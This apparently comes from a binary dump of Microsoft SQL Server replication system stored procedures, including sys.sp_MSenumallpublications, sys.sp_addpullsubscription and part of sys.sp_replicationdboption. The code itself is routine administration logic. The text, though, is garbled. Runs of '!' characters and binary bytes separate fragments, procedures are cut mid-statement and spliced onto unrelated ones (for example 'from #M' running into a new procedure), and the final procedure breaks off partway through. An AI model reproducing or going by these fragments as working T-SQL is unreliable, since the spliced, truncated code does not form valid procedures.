!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<@\
[.       a.publication <> N'ALL') or
                        (a.publication = N'ALL' and s.independent_agent = 0)) and
                        s.subscription_type = a.subscription_type)
                where
                    ((@publisher = N'%') OR (UPPER(s.publisher) = UPPER(@publisher))) AND
                    ((@publisher_db = N'%') or ( s.publisher_db = @publisher_db)) and
                    -- eliminate duplicate entries for agents using multiple subscription streams
                    s.transaction_timestamp = (SELECT MAX(t.transaction_timestamp) FROM dbo.MSreplication_subscriptions t
                                                            WHERE t.publisher = s.publisher
                                                                AND t.publisher_db = s.publisher_db
                                                                AND t.publication = s.publication) and
                    ((s.subscription_type = 0 and @type_value = 0) or
                    -- For pull, return both pull and anonymous
                    (s.subscription_type <> 0 and @type_value = 1) or
                    @type_value = 2)             
        end
        -- Agents table does not exists.
        else if object_id(N'dbo.MSsubscription_properties')  is not NULL
        begin
            -- update_mode in MSreplication_subscriptions table is not reliable.
            insert into #tmp_subscriptions 
            select s.publisher
                    ,s.publisher_db
                    ,s.publication
                    ,case isnull(p.publication_type,0) when 0 then 0 else 1 end
                    ,s.subscription_type
                    ,s.time
                    ,@cur_db 
                    -- NOTE: For Queued case: we will always return 2/3 for the 4/5 case
                    -- since we overload update_mode based on queue_type
                    ,case when isnull(s.update_mode,0) = 4 then 2
                            when isnull(s.update_mode,0) = 5 then 3
                            else isnull(s.update_mode,0) end
                    ,NULL --a.last_sync_status,
                    ,NULL --a.last_sync_summary,
                    ,NULL  --a.last_sync_time    
            from dbo.MSreplication_subscriptions s with (NOLOCK) 
                left outer join dbo.MSsubscription_properties p with (NOLOCK)
                    on (UPPER(s.publisher) = UPPER(p.publisher) and 
                        s.publisher_db = p.publisher_db and 
                        s.publication = p.publication and
                        -- don't use property table for push. 
                        s.subscription_type <> 0) 
                where
                    ((@publisher = N'%') OR (UPPER(s.publisher) = UPPER(@publisher))) AND
                    ((@publisher_db = N'%') or ( s.publisher_db = @publisher_db)) and
                     -- eliminate duplicate entries for agents using multiple subscription streams
                    s.transaction_timestamp = (SELECT MAX(t.transaction_timestamp) FROM dbo.MSreplication_subscriptions t
                                                            WHERE t.publisher = s.publisher
                                                                AND t.publisher_db = s.publisher_db
                                                                AND t.publication = s.publication) and
                    ((s.subscription_type = 0 and @type_value = 0) or
                    -- For pull, return both pull and anonymous
                    (s.subscription_type <> 0 and @type_value = 1) or
                    @type_value = 2) 
        end
        -- Both table does not exists
        else
        begin
            -- update_mode in MSreplication_subscriptions table is not reliable.
            insert into #tmp_subscriptions 
            select s.publisher
                    ,s.publisher_db
                    ,s.publication
                    ,0
                    ,s.subscription_type
                    ,s.time
                    ,@cur_db
                    -- NOTE: For Queued case: we will always return 2/3 for the 4/5 case
                    -- since we overload update_mode based on queue_type
                    ,case when isnull(s.update_mode,0) = 4 then 2
                            when isnull(s.update_mode,0) = 5 then 3
                            else isnull(s.update_mode,0) end
                    ,NULL  -- a.last_sync_status,
                    ,NULL  -- a.last_sync_summary
                    ,NULL  -- a.last_sync_time
            from dbo.MSreplication_subscriptions s with (NOLOCK)
                where
                    ((@publisher = N'%') OR (UPPER(s.publisher) = UPPER(@publisher))) AND
                    ((@publisher_db = N'%') or ( s.publisher_db = @publisher_db)) and
                    -- eliminate duplicate entries for agents using multiple subscription streams
                    s.transaction_timestamp = (SELECT MAX(t.transaction_timestamp) FROM dbo.MSreplication_subscriptions t
                                                        WHERE t.publisher = s.publisher
                                                            AND t.publisher_db = s.publisher_db
                                                            AND t.publication = s.publication) and
                    ((s.subscription_type = 0 and @type_value = 0) or
                    -- For pull, return both pull and anonymous
                    (s.subscription_type <> 0 and @type_value = 1) or
                    @type_value = 2) 
        end
    end
    --
    -- If we are being invoked by sp_MSenumallsubscriptions
    -- we can skip select of the temp table, for other cases
    -- select from the temp table
    --
    if (@reserved = 0)
    begin
        select * from #tmp_subscriptions
    end
    --
    -- all done
    --
    return (0)
end
ppSenumpublications as pub
     -- Choose publications if sysadmin or pub dbowner or
     -- acessible by PAL
     where @is_user_admin = 1 
        or pub.is_db_owner = 1
        or exists (select *
                     from @curuser_publications as access
                     where pub.publisher_db = access.publisher_db
                       and pub.publication = access.publication)
     order by pub.publication, pub.publisher_db
    --
    -- all done
    --
    return (0)
END
!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(vvp
create procedure sys.sp_MSenumallpublications
(
    @publisherdb sysname = N'%', 
    @replication_type tinyint = null, -- by default return all types of publication
    @agent_login sysname = NULL,
    @security_check bit = 1,        -- Security check is ignored, although parameter has not been removed 
    @vendor_name sysname = NULL,    -- Use vender name to filter the result of third party publications.
    @publication sysname = NULL,
    @hrepl_pub bit = 0,            -- Return HREPL publications as well
    @empty_tranpub bit = 0      -- Return tran publication with no articles
)
as
BEGIN
    set nocount on
    declare @dbname         sysname
                ,@trans          tinyint
                ,@merge          tinyint
                ,@tranmerge     tinyint
                ,@3rdparty       tinyint
                ,@retcode        int
                ,@category      int
                ,@loc_server     sysname
                ,@publisher   sysname
                ,@distributor    sysname
                ,@distribdb      sysname
                ,@login          sysname
                ,@proc           nvarchar(255)
                ,@distbit        int
                ,@is_user_admin  bit
                ,@same_as_user   bit

    -- @security_check parameter is ignored.  Security is always checked.
    -- UI: If the distributor is not installed, return empty result
    if not exists
    (
        SELECT    *
        FROM    master.dbo.sysservers
        WHERE    srvstatus & 8 <> 0
    )
    begin
        return (0)
    end
    --
    -- Initializations
    --
    select @3rdparty = 0
            ,@trans = 1 
            ,@merge = 2
            ,@tranmerge = 3
            ,@login = suser_sname(suser_sid())
            ,@distbit = 16
            ,@is_user_admin = case when (is_srvrolemember('sysadmin') = 1) then 1 else 0 end
            ,@loc_server = CONVERT(sysname, ServerProperty('ServerName'))
    --
    -- If the agent login is not specified - use current login
    -- UI: Win95 subscriber will send in null agent_login
    --
    if @agent_login is null
    begin
        select @agent_login = @login
                ,@same_as_user = 1
    end
    else
    begin
        select @same_as_user = case when (suser_sid(@agent_login, 0) = suser_sid()) then 1 else 0 end
    end
    if (@publisherdb =  N'%')
    begin
        -- Temp table to enumerate the publisher dbs
        create table #pubdbs
        (
            publisher_db        sysname not null,
            category int
        )
    end
    -- Temp table to enumerate the publications
    create table #MSenumpublications 
    (
        publisher_db            sysname collate database_default not null,
        publication             sysname collate database_default not null,
        replication_type        tinyint NOT NULL, 
        immediate_sync          bit NOT NULL,
        allow_pull              bit NOT NULL,
        allow_anonymous         bit NOT NULL, 
        enabled_for_internet    bit NOT NULL,
        repl_freq               tinyint NOT NULL,
        immediate_sync_ready    bit NOT NULL, 
        allow_sync_tran         bit NOT NULL,
        independent_agent       bit NOT NULL,
        is_db_owner             int NOT NULL, 
        thirdparty_flag         bit NOT NULL,
        vendor_name             sysname collate database_default null,
        publisher               sysname collate database_default null, 
        publisher_type          sysname collate database_default null,
        description             nvarchar(255) collate database_default null,
        distribution_db         sysname collate database_default null, 
        allow_queued_tran       bit not null,
        allow_dts               bit not null,
        thirdparty_options      int null,
        queue_type              int null,
        dynamic_filters         bit not null default 0
    )

    if (@is_user_admin = 0) or (@same_as_user = 0)
    begin
        -- Temp table to enumerate the distribution dbs
        create table #distdbs
        (
            publisher    sysname collate database_default not null,
            distributor  sysname collate database_default not null,
            distribdb    sysname collate database_default not null
        )
        
        if (@is_user_admin = 0)
        begin
            -- Temp table to list publications that current login has access to
            DECLARE @curuser_publications TABLE
            (
                publisher_db 	sysname collate database_default not null, 
                publication     sysname collate database_default not null
            )
        end
        
        if (@same_as_user = 0)
        begin
            -- Temp table to list publications that agent login has access to
            DECLARE @agent_publications TABLE
            (
                publisher_db 	sysname collate database_default not null,
                publication     sysname collate database_default not null
            )
        end
    end
    --
    -- Return everything if @replication_type is not in (@3rdparty, @trans, @merge)
    --
    if @replication_type not in (@3rdparty, @trans, @merge, @tranmerge)
    begin
        select @replication_type = null
    end
    --
    -- Get published databases
    --
    if (@publisherdb =  N'%')
    begin
        insert into #pubdbs
        select name, category
        from master.dbo.sysdatabases
        where has_dbaccess(name) = 1
            and 
            (
                -- process based on replication type
                (@replication_type = @tranmerge and (category & 1 = 1 or category & 4 = 4 or (@hrepl_pub = 1 and category & @distbit = @distbit))) 
                OR
                (@replication_type = @trans and (category & 1 = 1 or (@hrepl_pub = 1 and category & @distbit = @distbit)))
                OR
                (@replication_type = @merge and category & 4 = 4)
                OR
                (@replication_type = @3rdparty and category & @distbit = @distbit)
                OR
                (@replication_type is null and (category & 1 = 1 or category & 4 = 4 or category & @distbit = @distbit)) 
            )
    end
    else
    begin
        select @dbname = name
                ,@category = category
        from master.dbo.sysdatabases
        where name = @publisherdb
            and has_dbaccess(name) = 1
            and 
            (
                -- process based on replication type
                (@replication_type = @tranmerge and (category & 1 = 1 or category & 4 = 4 or (@hrepl_pub = 1 and category & @distbit = @distbit))) 
                OR
                (@replication_type = @trans and (category & 1 = 1 or (@hrepl_pub = 1 and category & @distbit = @distbit)))
                OR
                (@replication_type = @merge and category & 4 = 4)
                OR
                (@replication_type = @3rdparty and category & @distbit = @distbit)
                OR
                (@replication_type is null and (category & 1 = 1 or category & 4 = 4 or category & @distbit = @distbit)) 
            )
    end
    --
    -- Get the publication information now
    --
    if (@publisherdb =  N'%')
    begin
        --
        -- wild card - all publications
        --
        declare #curPubDb CURSOR LOCAL FAST_FORWARD FOR
            select publisher_db, category
            from #pubdbs
        FOR READ ONLY
        
        open #curPubDb
        fetch #curPubDb into @dbname, @category
        while (@@fetch_status >= 0) 
        begin
            -- enumerate the publications based on replication type and category
            if (@replication_type is null or @replication_type in (@tranmerge,@trans))
                and (@category & 1 = 1 or (@hrepl_pub = 1 and @category & @distbit = @distbit))
            begin
      !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(ɺS)vp          select @proc = quotename(@dbname) + N'.sys.sp_MSenumtranpublications'
                exec @retcode = @proc @publication, @category, @empty_tranpub
                if @@ERROR <> 0 or @retcode <> 0
                    return (1)
            end
            
            if (@replication_type is null or @replication_type in (@tranmerge,@merge))
                and (@category & 4 = 4)
            begin
                select @proc = quotename(@dbname) + N'.sys.sp_MSenummergepublications'
                exec @retcode = @proc @publication, @category
                if @@ERROR <> 0 or @retcode <> 0
                    return (1)
            end
            
            if (@replication_type is null or @replication_type = @3rdparty)
                and (@category & @distbit = @distbit)
            begin
                select @proc = quotename(@dbname) + N'.sys.sp_MSenum3rdpartypublications'
                exec @retcode = @proc @vendor_name, @publication
                if @@ERROR <> 0 or @retcode <> 0
                    return (1)
            end
            
            -- get next publisher db
            fetch #curPubDb into @dbname, @category
        end
        CLOSE #curPubDb
        DEALLOCATE #curPubDb
    end
    else
    begin
        -- specific publication
        -- enumerate the publications based on replication type and category
        --
        if (@replication_type is null or @replication_type in (@tranmerge,@trans))
            and (@category & 1 = 1 or (@hrepl_pub = 1 and @category & @distbit = @distbit))
        begin
            select @proc = quotename(@dbname) + N'.sys.sp_MSenumtranpublications'
            exec @retcode = @proc @publication, @category, @empty_tranpub
            if @@ERROR <> 0 or @retcode <> 0
                return (1)
        end
        
        if (@replication_type is null or @replication_type in (@tranmerge,@merge))
            and (@category & 4 = 4)
        begin
            select @proc = quotename(@dbname) + N'.sys.sp_MSenummergepublications'
            exec @retcode = @proc @publication, @category
            if @@ERROR <> 0 or @retcode <> 0
                return (1)
        end
        
        if (@replication_type is null or @replication_type = @3rdparty) 
            and (@category & @distbit = @distbit)
        begin
            select @proc = quotename(@dbname) + N'.sys.sp_MSenum3rdpartypublications'
            exec @retcode = @proc @vendor_name, @publication
            if @@ERROR <> 0 or @retcode <> 0
                return (1)
        end
    end
    --
    -- Get distributor info for local SQL server publisher (if any)
    --
    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT,
                                                        @distribdb = @distribdb OUTPUT
    IF @@error <> 0 OR @retcode <> 0
        RETURN (1)
    --
    -- Verify that a distributor db exists (only if not returning HREPL as well)
    --
    IF @hrepl_pub = 0 AND @distribdb IS NULL
    BEGIN
        RAISERROR (14071, 16, -1)
        RETURN (1)
    END

    IF @distribdb IS NOT NULL AND @distributor IS NOT NULL
    BEGIN
        if (@is_user_admin = 0) or (@same_as_user = 0)
        begin
            INSERT INTO #distdbs VALUES (@loc_server, @distributor, @distribdb)
        end
        
        -- Set local publisher distrib db
        UPDATE    #MSenumpublications
        SET 	distribution_db   = @distribdb
        WHERE    publisher        = @loc_server collate database_default 
    END
    --
    -- Include local heterogeneous publications
    --
    IF @hrepl_pub = 1 AND @distributor = CONVERT(sysname, ServerProperty('ServerName'))
    BEGIN
        if (@is_user_admin = 0) or (@same_as_user = 0)
        begin
            -- Get local publisher/distribution db pairs with HREPL pubs
            INSERT INTO #distdbs
            SELECT name,
                    @loc_server,
                    distribution_db
            FROM    msdb.dbo.MSdistpublishers
            WHERE    publisher_type != N'MSSQLSERVER'
              AND    sys.fn_MSrepl_istranpublished(distribution_db, 1) = 1
        end
    END
    --
    -- we will skip PAL check if sysadmin and agent login is not different
    --
    if (@is_user_admin = 0) or (@same_as_user = 0)
    begin
        -- Check publication access for each distributor db
        declare #curDistDb CURSOR LOCAL FAST_FORWARD FOR
            select publisher, distributor, distribdb
            from #distdbs
        FOR READ ONLY
        
        open #curDistDb
        fetch #curDistDb into @publisher, @distributor, @distribdb
        while (@@fetch_status >= 0) 
        BEGIN
            -- sp_MSpublication_access returns those publications that the passed login has access to.
            -- If the value passed in for @agent_login is not the same as the current user, a separate
            -- table is populated with those publications that the agent has access to.  This table is
            -- used to set the agent_access field returned.
            --
            -- Information is returned on those publications that the current user has access to.
            --
            SELECT @proc = case when (@distributor IS NOT NULL) THEN quotename(@distributor) + N'.' else N' ' end 
                                    + quotename(@distribdb) + N'.sys.sp_MSpublication_access'
            --
            -- Get accessible publication list if user is not sysadmin
            --
            if (@is_user_admin = 0)
            begin
                insert into @curuser_publications
                EXEC @retcode = @proc
                                @publisher = @publisher,
                                @operation = N'get_publications',
                                @login = @login
            end
            --
            -- If agent login is different
            -- Get accessible publication list for agent login
            --
            if (@same_as_user = 0)
            begin
                insert into @agent_publications
                EXEC @retcode = @proc
                                @publisher = @publisher,
                                @operation = N'get_publications',
                                @login = @agent_login
            end
            --
            -- commit open tran in case 
            -- insert into exec failed.
            --
            while(@@trancount <> 0)
                commit tran
            
            -- Get next dist db
            fetch #curDistDb into @publisher, @distributor, @distribdb
        END
        CLOSE #curDistDb
        DEALLOCATE #curDistDb
    end --if (@is_user_admin = 0 or @same_as_user = 0)
    --
    -- Return resultset
    --
    select pub.publisher_db,
            pub.publication,
            pub.replication_type, 
            pub.immediate_sync,
            pub.allow_pull,
            pub.allow_anonymous, 
            pub.enabled_for_internet,
            pub.repl_freq,
            pub.immediate_sync_ready, 
            pub.allow_sync_tran,
            pub.independent_agent,
            case
                when (@same_as_user = 1 or exists (select *
                                from @agent_publications as agent
                                where agent.publisher_db = pub.publisher_db
                                  and agent.publication = pub.publication)
                ) then convert(bit,1)
                else convert(bit,0)
            end as [agent_access],
            pub.thirdparty_flag,
            pub.vendor_name,
            pub.publisher,
            pub.description,
            pub.distribution_db, 
            allow_queued_tran,
            allow_dts,
            pub.thirdparty_options,
            pub.queue_type,
            pub.dynamic_filters,
            pub.publisher_type
     from #M!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(	0)v&create procedure sys.sp_addpullsubscription
(
    @publisher            sysname,
    @publisher_db        sysname = NULL,
    @publication        sysname,                    /* publication name */
    @independent_agent    nvarchar(5) = 'true',        /* true or false */
    @subscription_type    nvarchar(9) = 'anonymous',    /* subscription_type, pull or anonymous */
    @description        nvarchar(100) = NULL,
    @update_mode        nvarchar(30) = 'read only', -- Can be 'read only', 'sync tran', 'queued tran', 'failover', 'queued failover'
    @immediate_sync        bit = 1
)
AS
BEGIN

    SET NOCOUNT ON

    /*
    ** Declarations.
    */

    DECLARE @retcode int
    DECLARE @subscription_type_id int   /* 1 = pull, 2 = anonymous */
    DECLARE @independent_agent_id bit
    DECLARE @update_mode_id     tinyint 

    -- For attach
    if exists (select * from sys.objects where name = 'MSrepl_restore_stage')
    begin
        raiserror(21211, 16, -1)
        return 1
    end
    /* 
    ** Check if replication components are installed on this server
    */
    exec @retcode = sys.sp_MS_replication_installed
    if (@retcode <> 1)
    begin
        return (1)
    end
    /*
    ** Security Check
    */
    EXEC @retcode = sys.sp_MSreplcheck_subscribe
    IF @@ERROR <> 0 or @retcode <> 0
        RETURN(1)
    /*
    ** Parameter Check: @publisher
    ** Check to make sure that the publisher is define
    */
    IF @publisher IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publisher', 'sp_addpullsubscription')
        RETURN (1)
    END

    IF @publisher = 'all'
    BEGIN
        RAISERROR (14136, 16, -1)
        RETURN (1)
    END

    EXECUTE @retcode = sys.sp_validname @publisher
    IF @@ERROR <> 0 OR @retcode <> 0
       RETURN (1)

    /*
    ** Parameter Check: @publisher_db
    */
    IF @publisher_db = 'all'
    BEGIN
        RAISERROR (14136, 16, -1)
        RETURN (1)
    END

    IF @publisher_db IS NOT NULL
    BEGIN
        EXECUTE @retcode = sys.sp_validname @publisher_db
        IF @@ERROR <> 0 OR @retcode <> 0
            RETURN (1)
    END
    ELSE
    BEGIN
        -- @publisher_db is NULL for Oracle publishers only
        SET @publisher_db = @publisher
    END
    
    /*
    ** Parameter Check: @publication
    */
    IF @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publication', 'sp_addpullsubscription')
        RETURN (1)
    END

    IF @publication = 'all'
    BEGIN
        RAISERROR (14136, 16, -1)
        RETURN (1)
    END

    EXECUTE @retcode = sys.sp_validname @publication
    IF @@ERROR <> 0 OR @retcode <> 0
       RETURN (1)
    --
    -- Current database (subscribing database cannot be master)
    --
    if (lower(db_name()) = 'master')
    begin
        RAISERROR (21481, 16, 1)
        RETURN (1)
    end

    IF @independent_agent IS NULL OR LOWER(@independent_agent collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
        BEGIN
            RAISERROR (14148, 16, -1, '@independent_agent')
            RETURN (1)
        END

    IF LOWER(@independent_agent collate SQL_Latin1_General_CP1_CS_AS) = 'true' 
        SELECT @independent_agent_id = 1
    ELSE 
        SELECT @independent_agent_id = 0
    /*
    ** Parameter Check:  @subscription_type
    ** The @status value can be:
    **
    **       type_id       type
    **      ======   ========
    **           0              push
    **           1           pull
    **           2           anonymous
    **
    **    Note: @subscription_type = push is only used by distribution agents
    */
    IF @subscription_type IS NULL OR LOWER(@subscription_type collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('push', 'pull','anonymous')
    BEGIN
        RAISERROR (20016, 16, -1)
        RETURN (1)
    END

    IF LOWER(@subscription_type collate SQL_Latin1_General_CP1_CS_AS) = 'pull'    
        SELECT @subscription_type_id = 1
    ELSE IF LOWER(@subscription_type collate SQL_Latin1_General_CP1_CS_AS) = 'anonymous'  
        SELECT @subscription_type_id = 2
    ELSE
        SELECT @subscription_type_id = 0

    IF @independent_agent_id = 0 AND @subscription_type_id = 2
    BEGIN
        RAISERROR (21026, 16, -1)
        RETURN (1)
    END
    --
    -- Parameter check: @update_mode
    --
    IF (@update_mode IS NULL OR LOWER(@update_mode collate SQL_Latin1_General_CP1_CS_AS) NOT IN 
            ('read only', 'sync tran', 'queued tran', 'failover','queued failover'))
    BEGIN
        RAISERROR (20502, 16, -1, '@update_mode')
        RETURN (1)
    END
    -- Anonymous subscriptions should not be allowed to 
    -- subscribe with 'synctran option'    
    IF LOWER(@update_mode collate SQL_Latin1_General_CP1_CS_AS) in ('sync tran', 'queued tran', 'failover') and
        @subscription_type_id = 2 
    begin                      
           RAISERROR (21057, 16, -1)
        RETURN (1)
    end
    --
    -- set the @update_mode_id
    -- NOTE when the distribution agent does the subscription initialization
    -- the queued failover case will be update to a valie of (3 or 5)based on
    -- the queue type - as the failover state in MSsubscription_agents will then
    -- correctly identify the current state of update_mode on the subscriber
    -- 
    select @update_mode_id = case
        when LOWER(@update_mode collate SQL_Latin1_General_CP1_CS_AS) = 'sync tran' then 1
        when LOWER(@update_mode collate SQL_Latin1_General_CP1_CS_AS) = 'queued tran' then 4
        when LOWER(@update_mode collate SQL_Latin1_General_CP1_CS_AS) = 'failover' then 5
        when LOWER(@update_mode collate SQL_Latin1_General_CP1_CS_AS) = 'queued failover' then 6
        else 0
    end

    begin tran
    save TRAN addpullsubscription
		
    /* 
    ** Check to see if MSreplication_subscriptions and MSsubscription_properties 
    ** tables exists. If not, create it.
    */
    exec @retcode = sys.sp_MScreate_sub_tables_internal
                @tran_sub_table = 1,
                @property_table = 1
    IF @@ERROR <> 0 or @retcode <> 0
        goto UNDO
    /*
    ** Check to make sure that the subscription does not already exist
    */
    declare @sub_type int
    select @sub_type = subscription_type 
    from MSreplication_subscriptions 
    WHERE UPPER(publisher) = UPPER(@publisher) AND
            publisher_db  = @publisher_db AND
            publication = @publication
    --
    -- It is not allowed to subscribe to the same publication twice even with
    -- differnet subscription type. Raise special error for push
    --
    if @sub_type is not null
    begin
        if @sub_type = 0
        begin
            raiserror (20594, 16, -1)
            GOTO UNDO            
        end
        else
        begin
            RAISERROR (14058, 16, -1)
            GOTO UNDO
        end
    end
    /*
    ** Add the subscription
    */
    INSERT MSreplication_subscriptions  (publisher,
                                                    publisher_db,
                                                    publication,
                                                    independent_agent,
                                                    subscription_type,
                                                    distribution_agent,
                                                    description,
                                                    time,
                                                    transaction_timestamp,
                                                    update_mode,
                                                    immediate_sync)
    VALUES (@publisher,
                    @publisher_db,
                    @publication,
                    @independent_agent_id,    
                    @subscription_type_id,
                    NULL,
          !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(=	Ilv1Ocreate procedure sys.sp_replicationdboption (
      @dbname    sysname,
      @optname   sysname,
      @value     sysname,
      @ignore_distributor bit = 0,
      @from_scripting bit = 0
    ) AS

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    DECLARE @retcode      int,
                @optbit       int,
                @optbit_value int,				-- Desired value with the optbit mask
                @proc         nvarchar(512),
                @category     int,
                @value_bit    bit,
                @command  nvarchar(4000),
                @backup_proc nvarchar(1000),
                @testStr nvarchar(300),
                @num_mergedb int,
                @flush_proc nvarchar(300),
                @done_proc  nvarchar(300),
                @clearcache_proc  nvarchar(300),
                @containment tinyint


    select @optname = LOWER(@optname)
            ,@value   = LOWER(@value)
            ,@num_mergedb = null

    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    /*
    ** Parameter check
    ** @dbname
    */
    SELECT @category = category FROM master.dbo.sysdatabases WHERE
        name = @dbname collate database_default
    if @category is null
    BEGIN
        RAISERROR(15010, 16, -1, @dbname)
        RETURN(1)
    END

    SELECT @containment=containment FROM sys.databases WHERE
        name = @dbname collate database_default
    if @containment is null
    BEGIN
        RAISERROR(15010, 16, -1, @dbname)
        RETURN(1)
    END

    /*
    ** Parameter check
    ** @type
    */
    IF @optname is null or @optname NOT IN (N'publish',N'merge publish',N'subscribe',N'sync with backup'
        )
    BEGIN
        RAISERROR(14138,16,-1,@optname)
        RETURN(1)
    END

    -- Verify that this SKU is allowed to be a publisher
    if @optname in (N'publish',N'merge publish') and @value = N'true'
    begin
        exec @retcode= sys.sp_MSsku_allows_replication
        if @@error<>0 return 1
        if @retcode <> 0
        begin
            raiserror(21106, 16, -1)
            return (1)
        end
    end

    /*
    ** Contained Database check (Replication is not yet supported on contained databases)
    ** If the specified database exists and is a contained database, then we error out.
    **
    */
    if @containment != 0
    BEGIN
        RAISERROR(12839, 16, -1, @dbname)
        RETURN(1)
    END

    /*
    ** Parameter check
    ** @value
    */
    IF @value NOT IN (N'true',N'false')
    BEGIN
      RAISERROR(14137,16,-1)
      RETURN(1)
    END
    
    /*
    **    If we're in a transaction, disallow this since it might make recovery
    **    impossible.
    **
    */
    IF @@trancount > 0 
    BEGIN
        RAISERROR(15002,16,-1,'sp_replicationdboption')
        RETURN(1)
    END
    
    IF @optname = N'publish'
    BEGIN
        SELECT @optbit = 1
        SELECT @proc = QUOTENAME(@dbname) + N'.sys.sp_MSpublishdb'
    END
    ELSE IF @optname = N'merge publish'
    BEGIN
        SELECT @optbit = 4
        SELECT @proc = QUOTENAME(@dbname) + N'.sys.sp_MSmergepublishdb'
    END
    ELSE IF @optname = N'subscribe'
    BEGIN
        SELECT @optbit = 2
    END
    ELSE IF @optname = N'sync with backup'
    BEGIN
        SELECT @optbit = 32
    END

    IF @value = N'true'
    begin
        SELECT @optbit_value = @optbit
        select @value_bit = 1
    end
    ELSE
    begin
        select @value_bit = 0
        SELECT @optbit_value = 0
    end

    /*
    ** Check if the option is set as required already
    */
    if (@category & @optbit) = @optbit_value
    BEGIN
        if @value = N'true'
            RAISERROR (14035, 10, -1, @optname, @dbname)        
        else
            RAISERROR (14037, 10, -1, @optname, @dbname)
        RETURN (1)
    END

    -- If turning on 'sync with backup', make sure 'publish' or 'dist' is turned on already.
    if  @optbit_value = 32 and (@category & 1 = 0 and @category & 16 = 0)
    begin
        raiserror(20019, 16, -1, 'sync with backup')
        return (1)
    end

    -- We do not allow turning on sync with backup mode at publishing db if the db is
    -- in simple recovery mode
    if  @optbit_value = 32 and @category & 1 <> 0 and 
        databasepropertyex(@dbname, 'recovery') = N'SIMPLE'
    begin
        raiserror(20622, 16, -1, 'sync with backup')
        return (1)
    end

    -- If turning off 'publish', turn off 'sync with backup' as well if the database
    -- is not a distribution database.
    if @optbit = 1 and @optbit_value = 0 and @category & 32 <> 0 and @category & 16 = 0
    begin
        EXEC @retcode =  sys.sp_replicationdboption   
            @dbname = @dbname,
            @optname = N'sync with backup',
            @value = N'false',
            @ignore_distributor = @ignore_distributor,
            @from_scripting = @from_scripting
        IF @@ERROR <> 0 or @retcode <> 0
        BEGIN
            GOTO UNDO
        END
    end

    -- if turning on 'sync with backup' a distribution database, initialize the backup lsns 
    -- to nulls, this should be done before the category bit is set.
    if @optbit_value = 32 and @category & 16 <> 0
    begin
        SELECT @backup_proc = QUOTENAME(@dbname) + N'.dbo.sp_MSrepl_init_backup_lsns'
        exec @retcode = @backup_proc
        if @@error <> 0 or @retcode <> 0
            goto UNDO
    end

    /*
    ** Prepare the required option
    */
    if @proc is not null
    begin
        if (@optname IN (N'publish',N'merge publish' ) and (@value = N'false'))
        begin
            --
            --check db state in try block, if failed, goto IGNORE so db can be unmarked (and dropped later)
            --avoid putting try block on sp_MSpublishdb as it may fail with other error within nested tran
            --
            BEGIN TRY
                SELECT @testStr = N'use '  + QUOTENAME(@dbname) + ' begin tran save tran test_read_write commit tran'
